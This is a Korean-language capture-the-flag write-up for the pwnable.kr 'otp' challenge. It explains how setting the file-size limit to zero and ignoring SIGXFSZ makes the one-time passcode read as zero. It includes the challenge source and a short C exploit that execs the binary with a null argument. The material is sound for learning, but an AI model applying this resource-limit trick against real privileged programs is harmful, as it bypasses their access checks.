[Pwnable.kr] otp
#include <fcntl.h>
int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];
if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, otp, 16)!=16) exit(-1); // urandom 파일에서 16바이트만큼 읽어와서 otp에 저장
close(fd);
sprintf(fname, "/tmp/%llu", otp[0]); // "tmp/otp[0]" 문자열 fname에 저장
FILE* fp = fopen(fname, "w"); // "tmp/otp[0]" 파일 오픈
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp); // otp[1] 값을 "tmp/otp[0]"에 저장
fclose(fp);
printf("OTP generated.\n");
unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2); // "tmp/otp[0]" 내용을 passcode에 저장
fclose(fp2);
if(strtoul(argv[1], 0, 16) == passcode){ // 입력값과 passcode 값으면 성공
printf("Congratz!\n");
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}
unlink(fname); //파일삭제
return 0;
}
문제 코드를 보면 랜덤으로 생성되는 passcode를 맞추면 플래그를 열람할 수 있습니다. 문제 풀이는 생각보다 간단하지만 문제를 풀면서 자연스럽게 떠올리기는 힘들어보입니다. ulimit -f 0 명령어를 이용해서 파일 사이즈 제한을 0으로 주면 파일을 불러올 때 사이즈가 0보다 크므로 SIGXFSZ 시그널이 발생하고 프로세스가 종료된다. 하지만 시그널을 무시하는 명령어를 사용하면 시그널이 발생할 때 프로세스가 종료되지 않고 반환값만 Null로 바뀝니다.
fwrite(&otp[1], 8, 1, fp); // otp[1] 값을 "tmp/otp[0]"에 저장
fread(&passcode, 8, 1, fp2); // "tmp/otp[0]" 내용을 passcode에 저장
if(strtoul(argv[1], 0, 16) == passcode){ // 입력값과 passcode 값으면 성공
printf("Congratz!\n");
system("/bin/cat flag");
}
위 코드는 문제의 핵심 부분만 가져왔습니다. 파일 크기 제한을 0으로 주면 파일을 읽어오는건 자유롭지만 파일에 쓸때 시그널이 발생합니다. 해당 부분은 fwrite에서 otp[1]에 있는 값을 tmp/otp[0] 파일에 write 하므로 시그널이 발생하지만 시그널 무시 명령어를 사용하면 시그널의 반환값 NULL(\x00)이 파일에 저장됩니다. 따라서 결론적으로 passcode에는 NULL 값이 들어가게 되고 argv[1]에는 \x00이 들어가면 조건을 만족하여 플래그를 얻을 수 있습니다.
익스플로잇 코드
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
int main(void){
signal(SIGXFSZ,SIG_IGN); // 시그널 무시
char *argv[]={"NULL","\x00",NULL}; // argv[1] 인자 = \x00
execv("/home/otp/otp",argv);
}